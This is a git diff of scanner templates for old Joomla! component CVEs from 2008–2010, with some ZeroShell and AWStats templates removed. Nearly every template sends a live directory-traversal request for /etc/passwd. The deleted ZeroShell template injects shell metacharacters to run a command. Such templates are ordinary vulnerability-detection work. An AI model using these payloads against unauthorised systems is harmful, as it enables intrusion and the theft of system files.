+++ b/poc/cve/cve-2008-6172.yaml @@ -0,0 +1,33 @@ +id: CVE-2008-6172 + +info: + name: Joomla! Component RWCards 3.0.11 - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla! when magic_quotes_gpc is disabled allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter. + reference: + - https://www.exploit-db.com/exploits/6817 + - https://www.cvedetails.com/cve/CVE-2008-6172 + - http://secunia.com/advisories/32367 + - http://web.archive.org/web/20210121184108/https://www.securityfocus.com/bid/31892/ + classification: + cve-id: CVE-2008-6172 + tags: cve,cve2008,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/30 diff --git a/poc/cve/cve-2008-6222-1397.yaml b/poc/cve/cve-2008-6222-1397.yaml new file mode 100644 index 0000000000..27c30763d5 --- /dev/null +++ b/poc/cve/cve-2008-6222-1397.yaml @@ -0,0 +1,26 @@ +id: CVE-2008-6222 +info: + name: Joomla! Component ProDesk 1.0/1.2 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the Pro Desk Support Center (com_pro_desk) component 1.0 and 1.2 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the include_file parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/6980 + - https://www.cvedetails.com/cve/CVE-2008-6222 + - http://secunia.com/advisories/32523 + - http://web.archive.org/web/20210121184244/https://www.securityfocus.com/bid/32113/ + classification: + cve-id: CVE-2008-6222 + tags: cve,cve2008,joomla,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 diff --git a/poc/cve/cve-2008-6222.yaml b/poc/cve/cve-2008-6222.yaml new file mode 100644 index 0000000000..e1788f6280 --- /dev/null +++ b/poc/cve/cve-2008-6222.yaml @@ -0,0 +1,31 @@ +id: CVE-2008-6222 + +info: + name: Joomla! Component ProDesk 1.0/1.2 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the Pro Desk Support Center (com_pro_desk) component 1.0 and 1.2 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the include_file parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/6980 + - https://www.cvedetails.com/cve/CVE-2008-6222 + - http://secunia.com/advisories/32523 + - http://web.archive.org/web/20210121184244/https://www.securityfocus.com/bid/32113/ + classification: + cve-id: CVE-2008-6222 + tags: cve,cve2008,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 diff --git a/poc/cve/cve-2009-0545.yaml b/poc/cve/cve-2009-0545.yaml deleted file mode 100644 index e1770bbbbf..0000000000 --- a/poc/cve/cve-2009-0545.yaml +++ /dev/null @@ -1,40 +0,0 @@ -id: CVE-2009-0545 - -info: - name: ZeroShell <= 1.0beta11 Remote Code Execution - author: geeknik - severity: critical - description: ZeroShell 1.0beta11 and earlier via cgi-bin/kerbynet allows remote attackers to execute arbitrary commands through shell metacharacters in the type parameter in a NoAuthREQ x509List action. - remediation: | - Upgrade to a patched version of ZeroShell. - reference: - - https://www.exploit-db.com/exploits/8023 - - https://nvd.nist.gov/vuln/detail/CVE-2009-0545 - - http://www.zeroshell.net/eng/announcements/ - - http://www.ikkisoft.com/stuff/LC-2009-01.txt - - http://www.vupen.com/english/advisories/2009/0385 - classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:C/A:C - cvss-score: 10 - cve-id: CVE-2009-0545 - cwe-id: CWE-20 - epss-score: 0.97081 - epss-percentile: 0.99716 - cpe: cpe:2.3:a:zeroshell:zeroshell:1.0:beta1:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: zeroshell - product: zeroshell - tags: edb,cve,cve2009,zeroshell,kerbynet,rce - -http: - - method: GET - path: - - "{{BaseURL}}/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22" - - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" -# digest: 4a0a004730450220022b5671694e2b5fe7f22f35d6d90d5d2c0ce4ce36385e3f95b06f8da7146dcc022100cc64174f94989d87c993f1e44ea80fed1af54b841ddfbf0e6c5bb6395343ac1a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2009-1496-1423.yaml b/poc/cve/cve-2009-1496-1423.yaml new file mode 100644 index 0000000000..aa1ad36f1b --- /dev/null +++ b/poc/cve/cve-2009-1496-1423.yaml @@ -0,0 +1,36 @@ +id: CVE-2009-1496 + +info: + name: Joomla! Cmimarketplace 0.1 - Local File Inclusion + author: daffainfo + severity: high + description: | + Joomla! Cmimarketplace 0.1 is susceptible to local file inclusion because com_cmimarketplace allows remote attackers to list arbitrary directories via a .. (dot dot) in the viewit parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/8367 + - http://web.archive.org/web/20210121190149/https://www.securityfocus.com/bid/34431/ + - https://nvd.nist.gov/vuln/detail/CVE-2009-1496 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cve-id: CVE-2009-1496 + cwe-id: CWE-22 + tags: cve,cve2009,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../../../../../etc/passwd&cid=1" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/poc/cve/cve-2009-1496.yaml b/poc/cve/cve-2009-1496.yaml new file mode 100644 index 0000000000..51ca80e5ee --- /dev/null +++ b/poc/cve/cve-2009-1496.yaml @@ -0,0 +1,31 @@ +id: CVE-2009-1496 + +info: + name: Joomla! Component Cmimarketplace - 'viewit' Directory Traversal + author: daffainfo + severity: high + description: Directory traversal vulnerability in the Cmi Marketplace (com_cmimarketplace) component 0.1 for Joomla! allows remote attackers to list arbitrary directories via a .. (dot dot) in the viewit parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/8367 + - https://www.cvedetails.com/cve/CVE-2009-1496 + - http://web.archive.org/web/20210121190149/https://www.securityfocus.com/bid/34431/ + - http://www.securityfocus.com/bid/34431 + classification: + cve-id: CVE-2009-1496 + tags: cve,cve2009,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../../../../../etc/passwd&cid=1" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 diff --git a/poc/cve/cve-2009-2015-1441.yaml b/poc/cve/cve-2009-2015-1441.yaml new file mode 100644 index 0000000000..2085a00bd4 --- /dev/null +++ b/poc/cve/cve-2009-2015-1441.yaml @@ -0,0 +1,26 @@ +id: CVE-2009-2015 +info: + name: Joomla! Component MooFAQ (com_moofaq) - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in includes/file_includer.php in the Ideal MooFAQ (com_moofaq) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter. + reference: + - https://www.exploit-db.com/exploits/8898 + - https://www.cvedetails.com/cve/CVE-2009-2015 + - http://web.archive.org/web/20210121191105/https://www.securityfocus.com/bid/35259/ + - http://www.vupen.com/english/advisories/2009/1530 + classification: + cve-id: CVE-2009-2015 + tags: cve,cve2009,joomla,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/components/com_moofaq/includes/file_includer.php?gzip=0&file=/../../../../../etc/passwd" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 diff --git a/poc/cve/cve-2009-2100-1446.yaml b/poc/cve/cve-2009-2100-1446.yaml new file mode 100644 index 0000000000..17c3fc5ae2 --- /dev/null +++ b/poc/cve/cve-2009-2100-1446.yaml @@ -0,0 +1,37 @@ +id: CVE-2009-2100 + +info: + name: Joomla! JoomlaPraise Projectfork 2.0.10 - Local File Inclusion + author: daffainfo + severity: high + description: Joomla! JoomlaPraise Projectfork (com_projectfork) 2.0.10 allows remote attackers to read arbitrary files via local file inclusion in the section parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/8946 + - https://www.cvedetails.com/cve/CVE-2009-2100 + - http://web.archive.org/web/20210121191226/https://www.securityfocus.com/bid/35378/ + - https://nvd.nist.gov/vuln/detail/CVE-2009-2100 + + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cve-id: CVE-2009-2100 + cwe-id: CWE-22 + tags: cve,cve2009,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_projectfork§ion=../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/poc/cve/cve-2009-2100.yaml b/poc/cve/cve-2009-2100.yaml new file mode 100644 index 0000000000..71625701ca --- /dev/null +++ b/poc/cve/cve-2009-2100.yaml @@ -0,0 +1,31 @@ +id: CVE-2009-2100 + +info: + name: Joomla! Component com_Projectfork 2.0.10 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the JoomlaPraise Projectfork (com_projectfork) component 2.0.10 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the section parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/8946 + - https://www.cvedetails.com/cve/CVE-2009-2100 + - http://web.archive.org/web/20210121191226/https://www.securityfocus.com/bid/35378/ + - http://www.securityfocus.com/bid/35378 + classification: + cve-id: CVE-2009-2100 + tags: cve,cve2009,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_projectfork§ion=../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 diff --git a/poc/cve/cve-2009-5020-1477.yaml b/poc/cve/cve-2009-5020-1477.yaml deleted file mode 100644 index 487a2aaa93..0000000000 --- a/poc/cve/cve-2009-5020-1477.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: CVE-2009-5020 -info: - name: AWStats < 6.95 - Open Redirect - author: pdteam - severity: medium - description: An open redirect vulnerability in awredir.pl in AWStats < 6.95 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors. - reference: https://nvd.nist.gov/vuln/detail/CVE-2009-5020 - tags: cve,cve2020,redirect,awstats - remediation: Apply all relevant security patches and product upgrades. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2009-5020 - cwe-id: CWE-601 -requests: - - method: GET - path: - - '{{BaseURL}}/awstats/awredir.pl?url=example.com' - - '{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=example.com' - stop-at-first-match: true - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 - -# Enhanced by mp on 2022/02/13 diff --git a/poc/cve/cve-2010-0467-1495.yaml b/poc/cve/cve-2010-0467-1495.yaml new file mode 100644 index 0000000000..9a3eb8265d --- /dev/null +++ b/poc/cve/cve-2010-0467-1495.yaml @@ -0,0 +1,31 @@ +id: CVE-2010-0467 +info: + name: Joomla! Component CCNewsLetter - Local File Inclusion + author: daffainfo + severity: medium + description: A directory traversal vulnerability in the ccNewsletter (com_ccnewsletter) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a ccnewsletter action to index.php. + reference: + - https://www.exploit-db.com/exploits/11282 + - https://www.cvedetails.com/cve/CVE-2010-0467 + - http://www.securityfocus.com/bid/37987 + - http://www.chillcreations.com/en/blog/ccnewsletter-joomla-newsletter/ccnewsletter-106-security-release.html + remediation: Apply all relevant security patches and upgrades. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N + cvss-score: 5.8 + cve-id: CVE-2010-0467 + cwe-id: CWE-22 + tags: cve,cve2010,joomla,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_ccnewsletter&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 +# Enhanced by mp on 2022/02/13 diff --git a/poc/cve/cve-2010-0696.yaml b/poc/cve/cve-2010-0696.yaml deleted file mode 100644 index b659158355..0000000000 --- a/poc/cve/cve-2010-0696.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2010-0696 - -info: - name: Joomla! Component Jw_allVideos - Arbitrary File Retrieval - author: daffainfo - severity: high - description: A directory traversal vulnerability in includes/download.php in the JoomlaWorks AllVideos (Jw_allVideos) plugin 3.0 through 3.2 for Joomla! allows remote attackers to read arbitrary files via a ./../.../ (modified dot dot) in the file parameter. - reference: - - https://www.exploit-db.com/exploits/11447 - - https://www.cvedetails.com/cve/CVE-2010-0696 - - http://secunia.com/advisories/38587 - - http://www.joomlaworks.gr/content/view/77/34/ - remediation: Upgrade to a supported version. - classification: - cve-id: CVE-2010-0696 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/plugins/content/jw_allvideos/includes/download.php?file=../../../../../../../../etc/passwd" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/13 diff --git a/poc/cve/cve-2010-0942.yaml b/poc/cve/cve-2010-0942.yaml deleted file mode 100644 index cfbd90f032..0000000000 --- a/poc/cve/cve-2010-0942.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2010-0942 - -info: - name: Joomla! Component com_jvideodirect - Directory Traversal - author: daffainfo - severity: high - description: Directory traversal vulnerability in the jVideoDirect (com_jvideodirect) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/11089 - - https://www.cvedetails.com/cve/CVE-2010-0942 - - http://packetstormsecurity.org/1001-exploits/joomlajvideodirect-traversal.txt - remediation: Apply all relevant security patches and product upgrades. - classification: - cve-id: CVE-2010-0942 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_jvideodirect&controller=../../../../../../../../../../etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 -# Enhanced by mp on 2022/02/13 diff --git a/poc/cve/cve-2010-0943.yaml b/poc/cve/cve-2010-0943.yaml new file mode 100644 index 0000000000..3f73c1501d --- /dev/null +++ b/poc/cve/cve-2010-0943.yaml @@ -0,0 +1,30 @@ +id: CVE-2010-0943 + +info: + name: Joomla! Component com_jashowcase - Directory Traversal + author: daffainfo + severity: high + description: A directory traversal vulnerability in the JA Showcase (com_jashowcase) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a jashowcase action to index.php. + reference: + - https://www.exploit-db.com/exploits/11090 + - https://www.cvedetails.com/cve/CVE-2010-0943 + - http://web.archive.org/web/20210121193737/https://www.securityfocus.com/bid/37692/ + - http://secunia.com/advisories/33486 + classification: + cve-id: CVE-2010-0943 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_jashowcase&view=jashowcase&controller=../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/30 diff --git a/poc/cve/cve-2010-1081.yaml b/poc/cve/cve-2010-1081.yaml deleted file mode 100644 index 8b0eedcbd2..0000000000 --- a/poc/cve/cve-2010-1081.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2010-1081 - -info: - name: Joomla! Component com_communitypolls 1.5.2 - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in the Community Polls (com_communitypolls) component 1.5.2, and possibly earlier, for Core Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/11511 - - https://www.cvedetails.com/cve/CVE-2010-1081 - - http://www.corejoomla.com/component/content/article/1-corejoomla-updates/40-community-polls-v153-security-release.html - - http://osvdb.org/62506 - remediation: Apply all relevant security patches and product upgrades. - classification: - cve-id: CVE-2010-1081 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_communitypolls&controller=../../../../../../../../../../../../../../../etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 -# Enhanced by mp on 2022/02/13 diff --git a/poc/cve/cve-2010-1217.yaml b/poc/cve/cve-2010-1217.yaml deleted file mode 100644 index 641c05d517..0000000000 --- a/poc/cve/cve-2010-1217.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2010-1217 - -info: - name: Joomla! Component & Plugin JE Tooltip 1.0 - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in the JE Form Creator (com_jeformcr) component for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via directory traversal sequences in the view parameter to index.php. NOTE -- the original researcher states that the affected product is JE Tooltip, not Form Creator; however, the exploit URL suggests that Form Creator is affected. - reference: - - https://www.exploit-db.com/exploits/11814 - - https://www.cvedetails.com/cve/CVE-2010-1217 - - http://www.packetstormsecurity.org/1003-exploits/joomlajetooltip-lfi.txt - - http://web.archive.org/web/20210624111408/https://www.securityfocus.com/bid/38866 - remediation: Apply all relevant security patches and product upgrades. - classification: - cve-id: CVE-2010-1217 - tags: cve,cve2010,joomla,lfi,plugin - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_jeformcr&view=../../../../../../../../etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 -# Enhanced by mp on 2022/02/13 diff --git a/poc/cve/cve-2010-1219.yaml b/poc/cve/cve-2010-1219.yaml deleted file mode 100644 index f67443a4e1..0000000000 --- a/poc/cve/cve-2010-1219.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2010-1219 - -info: - name: Joomla! Component com_janews - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in the JA News (com_janews) component 1.0 for Joomla! allows remote attackers to read arbitrary local files via a .. (dot dot) in the controller parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/11757 - - https://www.cvedetails.com/cve/CVE-2010-1219 - - http://secunia.com/advisories/38952 - - http://web.archive.org/web/20210617075625/https://www.securityfocus.com/bid/38746 - remediation: Upgrade to a supported version. - classification: - cve-id: CVE-2010-1219 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 -# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/cve-2010-1305.yaml b/poc/cve/cve-2010-1305.yaml new file mode 100644 index 0000000000..4649188fed --- /dev/null +++ b/poc/cve/cve-2010-1305.yaml @@ -0,0 +1,30 @@ +id: CVE-2010-1305 + +info: + name: Joomla! Component JInventory 1.23.02 - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in jinventory.php in the JInventory (com_jinventory) component 1.23.02 and possibly other versions before 1.26.03, a module for Joomla!, allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/12065 + - https://www.cvedetails.com/cve/CVE-2010-1305 + - http://extensions.joomla.org/extensions/e-commerce/shopping-cart/7951 + - http://secunia.com/advisories/39351 + remediation: Upgrade to a supported version. + classification: + cve-id: CVE-2010-1305 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_jinventory&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 +# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/cve-2010-1307.yaml b/poc/cve/cve-2010-1307.yaml new file mode 100644 index 0000000000..9b5bb7b612 --- /dev/null +++ b/poc/cve/cve-2010-1307.yaml @@ -0,0 +1,30 @@ +id: CVE-2010-1307 + +info: + name: Joomla! Component Magic Updater - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in the Magic Updater (com_joomlaupdater) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/12070 + - https://www.cvedetails.com/cve/CVE-2010-1307 + - http://secunia.com/advisories/39348 + - http://www.vupen.com/english/advisories/2010/0806 + remediation: Upgrade to a supported version. + classification: + cve-id: CVE-2010-1307 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_joomlaupdater&controller=../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 +# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/cve-2010-1308.yaml b/poc/cve/cve-2010-1308.yaml deleted file mode 100644 index f9f2d84665..0000000000 --- a/poc/cve/cve-2010-1308.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2010-1308 - -info: - name: Joomla! Component SVMap 1.1.1 - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in the SVMap (com_svmap) component 1.1.1 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/12066 - - https://www.cvedetails.com/cve/CVE-2010-1308 - - http://www.vupen.com/english/advisories/2010/0809 - remediation: Upgrade to a supported version. - classification: - cve-id: CVE-2010-1308 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_svmap&controller=../../../../../../../etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 -# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/cve-2010-1312.yaml b/poc/cve/cve-2010-1312.yaml deleted file mode 100644 index cc121bbc5f..0000000000 --- a/poc/cve/cve-2010-1312.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2010-1312 - -info: - name: Joomla! Component News Portal 1.5.x - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in the iJoomla News Portal (com_news_portal) component 1.5.x for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/12077 - - https://www.cvedetails.com/cve/CVE-2010-1312 - - http://secunia.com/advisories/39289 - - http://packetstormsecurity.org/1004-exploits/joomlanewportal-lfi.txt - remediation: Upgrade to a supported version. - classification: - cve-id: CVE-2010-1312 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_news_portal&controller=../../../../../../../../../../etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 -# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/cve-2010-1314-1606.yaml b/poc/cve/cve-2010-1314-1606.yaml new file mode 100644 index 0000000000..0d487cfbda --- /dev/null +++ b/poc/cve/cve-2010-1314-1606.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-1314 + +info: + name: Joomla! Component Highslide 1.5 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the Highslide JS (com_hsconfig) component 1.5 and 2.0.9 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/12086 + - https://www.cvedetails.com/cve/CVE-2010-1314 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_hsconfig&controller=../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/poc/cve/cve-2010-1314.yaml b/poc/cve/cve-2010-1314.yaml new file mode 100644 index 0000000000..8801e334b1 --- /dev/null +++ b/poc/cve/cve-2010-1314.yaml @@ -0,0 +1,30 @@ +id: CVE-2010-1314 + +info: + name: Joomla! Component Highslide 1.5 - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in the Highslide JS (com_hsconfig) component 1.5 and 2.0.9 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/12086 + - https://www.cvedetails.com/cve/CVE-2010-1314 + - http://secunia.com/advisories/39359 + - http://packetstormsecurity.org/1004-exploits/joomlahsconfig-lfi.txt + remediation: Upgrade to a supported version. + classification: + cve-id: CVE-2010-1314 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_hsconfig&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 +# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/cve-2010-1315-1610.yaml b/poc/cve/cve-2010-1315-1610.yaml new file mode 100644 index 0000000000..23f6f0f530 --- /dev/null +++ b/poc/cve/cve-2010-1315-1610.yaml @@ -0,0 +1,26 @@ +id: CVE-2010-1315 +info: + name: Joomla! Component webERPcustomer - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in weberpcustomer.php in the webERPcustomer (com_weberpcustomer) component 1.2.1 and 1.x before 1.06.02 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + remediation: Upgrade to a supported version. + reference: + - https://www.exploit-db.com/exploits/11999 + - https://www.cvedetails.com/cve/CVE-2010-1315 + tags: cve,cve2010,joomla,lfi + classification: + cve-id: CVE-2010-1315 +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 +# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/cve-2010-1315.yaml b/poc/cve/cve-2010-1315.yaml new file mode 100644 index 0000000000..d17b7846a7 --- /dev/null +++ b/poc/cve/cve-2010-1315.yaml @@ -0,0 +1,30 @@ +id: CVE-2010-1315 + +info: + name: Joomla! Component webERPcustomer - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in weberpcustomer.php in the webERPcustomer (com_weberpcustomer) component 1.2.1 and 1.x before 1.06.02 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/11999 + - https://www.cvedetails.com/cve/CVE-2010-1315 + - http://secunia.com/advisories/39209 + - http://packetstormsecurity.org/1004-exploits/joomlaweberpcustomer-lfi.txt + remediation: Upgrade to a supported version. + classification: + cve-id: CVE-2010-1315 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 +# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/cve-2010-1345-1621.yaml b/poc/cve/cve-2010-1345-1621.yaml deleted file mode 100644 index 814e4ab08a..0000000000 --- a/poc/cve/cve-2010-1345-1621.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: CVE-2010-1345 - -info: - name: Joomla! Component Cookex Agency CKForms - Local File Inclusion - author: daffainfo - severity: high - description: Directory traversal vulnerability in the Cookex Agency CKForms (com_ckforms) component 1.3.3 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/15453 - - https://www.cvedetails.com/cve/CVE-2010-1345 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_ckforms&controller=../../../../../../../../../../etc/passwd%00" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0" - - - type: status - status: - - 200 diff --git a/poc/cve/cve-2010-1352-1625.yaml b/poc/cve/cve-2010-1352-1625.yaml new file mode 100644 index 0000000000..0013ad1ae8 --- /dev/null +++ b/poc/cve/cve-2010-1352-1625.yaml @@ -0,0 +1,26 @@ +id: CVE-2010-1352 +info: + name: Joomla! Component Juke Box 1.7 - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in the JOOFORGE Jutebox (com_jukebox) component 1.0 and 1.7 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + remediation: Upgrade to a supported version. + reference: + - 